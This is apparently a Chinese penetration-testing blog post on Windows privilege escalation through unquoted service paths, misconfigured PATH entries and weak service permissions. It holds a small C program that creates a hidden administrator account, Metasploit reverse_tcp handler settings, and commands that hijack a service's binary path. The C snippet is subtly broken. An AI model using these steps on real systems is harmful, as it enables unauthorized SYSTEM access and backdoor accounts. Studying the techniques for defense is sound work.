首页 > 系统相关 >windows提权

windows提权

时间:2023-04-08 17:56:04浏览次数:38  
标签:CI exe 服务 service windows 路径 提权

Trusted service path漏洞

原理:服务路径和快捷方式路径具有一个或多个空格美哦与被引号括起,windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执行,造成路径拦截形成漏洞

当路径中存在没有被引号引起来的服务路径 C:\program files\com monfiles\service.exe中因为program files存在空格和com monfiles存在空格

可能会发生路径截断,服务启动时windows会依次尝试寻找下面的程序执行

c:\program.exe

c:\program files\com.exe

c:\program files\com monfiles\service.exe

漏洞利用

1.查找有无相关漏洞路径

wmic service get name,display,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

解析:wmic service get 后面的参数可以通过wmic service get /? 查看
findstr /i参数就是查找对应的匹配项
/i /v: 查找对应的匹配项后不打印这个匹配项,打印不符合的
findstr /i /v """  :不打印包含引号的原因是因为 被引号包括的路径是不存在漏洞的

2.如果存在相关的路径

#sc qc service查看相关服务的配置

C:\Users\Sakura>sc qc GamingServices
[SC] QueryServiceConfig 成功

SERVICE_NAME: GamingServices    
TYPE : 210 WIN32_PACKAGED_PROCESS
START_TYPE : 2 AUTO_START    #开启类型,是自动启动
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\WindowsApps\Microsoft.GamingServices_10.75.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe
LOAD_ORDER_GROUP :

DISPLAY_NAME : Gaming Services
DEPENDENCIES : staterepository
SERVICE_START_NAME : LocalSystem    #启动服务的账户

3.查看能否在该路径上上传文件(查看文件夹的权限)

icacls "c:\program files

c:\program files

NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)    #NT SERVICE则表示一组用于Windows服务的虚拟账户
NT AUTHORITY\SYSTEM:(M)    #NT AUTHORITY表示一组经过认证、有特殊权限或特殊许可的用户或计算机账户
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)        #BUILTIN\Administrators" 是用户或组的名称,表示"内置\Administrators"群组具有对相关文件或文件夹的权限. 
BUILTIN\Administrators:(OI)(CI)(IO)(F)    #"(OI)" 表示"对象继承"的开头, "(CI)" 表示"容器继承"的开头,而 "(IO)" 则表示对“对象的所有权”具有特殊权限. "(F)" 表示该用户或组拥有完整的访问权限. 
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(RX)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(OI)(CI)(IO)(GR,GE)

已成功处理 1 个文件; 处理 0 个文件时失败

4.编写c提权文件

实现新建隐藏用户,并且将用户添加到管理员组

1.编写c文件
#include <stdlib.h> int main { int i; int j; i=system("net user a$ 123 /add"); j=system("net localgroup administrators a$ /add"); return 0; }
2.编译成windows程序
i596-mingw32msvc-gcc exp.c -o common.exe -mwindows

5上传common.exe文件

当gameservice重启的时候即可生成账户.

由于权限比较低的情况下无法重启服务,等待服务重启或者系统执行exe

shutdown -r -t 0

或者

sc stop service 

sc start service

msf的利用

可以生成msf马上传后运行,利用exploit/multi/handler监听getshell后

反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要提前在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost ip
set lport 4444
set AutoRunScript migrate(迁移) -f
run #开启监听即可,连接上后会自动迁移

or

use exploit/windows/local/unquoted_service_path
set session 1
set autorunscript migrate -f
run

PATH环境变量配置错误

原理:执行程序方法以来path环境变量来确定未提供程序路径时搜索程序的位置

通常新增的paht环境变量是在后面添加的,配置不当导致最前面新增了path环境变量,那么在此目录下新建与常用系统命令一样的名字的exe程序就会优先执行

漏洞利用

1.查看目标系统的环境变量

wmic environment where "name='path'" get username,variablevalue

命令解析:

wmic environment get username,variablevalue命令列出的环境变量包括:

- USERNAME:当前用户的用户名
- APPDATA:当前用户的应用程序数据文件夹的路径
- COMPUTERNAME:计算机名称
- USERPROFILE:当前用户的个人资料文件夹的路径
- HOMEDRIVE:当前用户的主目录驱动器
- HOMEPATH:当前用户的主目录路径
- LOGONSERVER:该用户登录时使用的域控制器名称
- PATH:系统用于查找可执行文件的路径
- TEMP:用于存储临时文件的目录
- TMP:用于存储临时文件的目录

除此之外,还可能有一些其他的环境变量,具体根据操作系统版本和系统设置而变化。

get 后面的参数可以使用 get /?查看

Description N/A N/A
InstallDate N/A N/A
Name string Read/Write
Status N/A N/A
SystemVariable N/A N/A
UserName N/A N/A
VariableValue N/A N/A

 

 可以明显的看到确实是有配置不当的环境变量

最前面的是 C:\Program Files (x86)\Common Files\Oracle\Java\javapath;

尝试在这个目录下上传一个ipconfig.exe,系统会优先使用这个

不安全的服务权限

原理通常windows服务以system执行,由于错误配置导致地权限用户对某些服务进行修改,通过服务启动文件的路径binpath替换恶意程序的路径.

漏洞利用

1.通过accesschk发现一个配置不当的服务

accesschk是一个了解特定用户或组队资源的访问权限,包括文件,目录,注册表,全局对象和windows服务.

第一次运行会有一个许可窗口,命令后加上/accepteula避免弹窗

accesschk users -cw * /accepteula
#查找users组的修改服务

输出
W Everything 
error openning pla;
????

说明everything服务所有人都可以修改

2.使用sc修改启动路径

先上传msf马到目录中,然后使用命令
sc config "everything" binpath= "c:\xx\xx\msf.exe"
#binpath=后面必须要加一个空格再跟启动路径

 

标签:CI,exe,服务,service,windows,路径,提权
From: https://www.cnblogs.com/lisenMiller/p/17298907.html

相关文章

  • Windows 系统 多桌面切换的 鼠标实现
    我作为一个开发者正常在日常的工作环境中大多是使用MacOS系统进行开发。也经常会接触到windows系统。我认为,苹果操作系统在使用体验方面非常人性化,比如提供了很多方便的快捷键和快捷指令。对于我来说,最喜欢的功能就是苹果的多桌面,让我可以更加高效地处理任务。虽然Windows操作......
  • SonarQube 10.0 (macOS, Linux, Windows) - 清洁代码 (Clean Code)
    SonarQubeDataCenterEdition(JavaAppformacOS,Linux,Windows)请访问原文链接:https://sysin.org/blog/sonarqube-10/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgSonarCleanCodeIndustryleadingsolutionsIDE|SonarLintFreeIDEextensionthat......
  • ES搜索框架--Windows下简单使用ES框架
    前面讲述了什么是ES框架和为什么要用ES框架进行检索,现在开始尝试在windows下安装并简单使用ES框架参考:官方文档中文版,英文版linux下部署:https://www.elastic.co/guide/en/elasticsearch/reference/6.0/_installation.html一、安装1.下载解压安装包官网选择相应版本进行下载zip包,在......
  • windows 下使用CMake 配置 googletest测试库
    这个项目实际包含的知识细节,可以在微软的网站找到支持:1.安装googletest.下载,解压,googletest 进入开发者模式cmd界面: DeveloperCommandPromptforVS2022 编译,安装googletest#在解压后的目录下mkdirbuildcdbuild#准备安装在d:/googletestcmake-S..-B......
  • Windows更新后双系统引导消失manjaro启动项丢失修复
    Windows更新后双系统引导消失manjaro启动项丢失修复https://blog.csdn.net/weixin_40293491/article/details/125288253manjaro双系统引导丢失https://juejin.cn/s/manjaro%E5%8F%8C%E7%B3%BB%E7%BB%9F%E5%BC%95%E5%AF%BC%E4%B8%A2%E5%A4%B1sudopacman-Sgrubsudoupdate-grub......
  • windows10在新建文件选项中添加.md选项
    新建一个.txt后缀的文件,并写入以下信息WindowsRegistryEditorVersion5.00[HKEY_CLASSES_ROOT\.md]@="Typora.md""PerceivedType"="text"[HKEY_CLASSES_ROOT\.md\ShellNew]"NullFile"="""FileName"=""......
  • #yyds干货盘点#学习笔记(1)Linux和Windows上实现端口映射
    一、Windows下实现端口映射1.查询端口映射情况netshinterfaceportproxyshowv4tov42.查询某一个IP的所有端口映射情况netshinterfaceportproxyshowv4tov4|find"[IP]"例:netshinterfaceportproxyshowv4tov4|find"192.168.1.1"3.增加一个端口映射netshinterfa......
  • python远程控制windows机器
    1,进入cmd,输入winrmquickconfig-q,如果出现下图报错,把电脑公网设置为专网   设置专网步骤:win+i,网络和internet,状态,属性  2,检查winrm服务监听状态;进入cmd,输入winrmewinrm/config/listener;记录端口号Port值,后面会用到     3,查看winrm配置信息(可选)通......
  • windows10修改公网为专网
    1,win+i进入设置,点击网络和internet  2,点击状态  3,点击属性  4,把公网改成专网 ......
  • vmware中安装windows11系统
    1、官网下载windwos11镜像(点击跳转下载)  2、打开vmware,创建新的虚拟机3、选择典型方便快捷 4、选择安装程序光盘文件,点击浏览选择刚刚下载好的iso镜像5、选择windows版本号我的vmware是16版本没有windwos11选项直接选择最新windows10X64版本 6、命名存放位置根据自......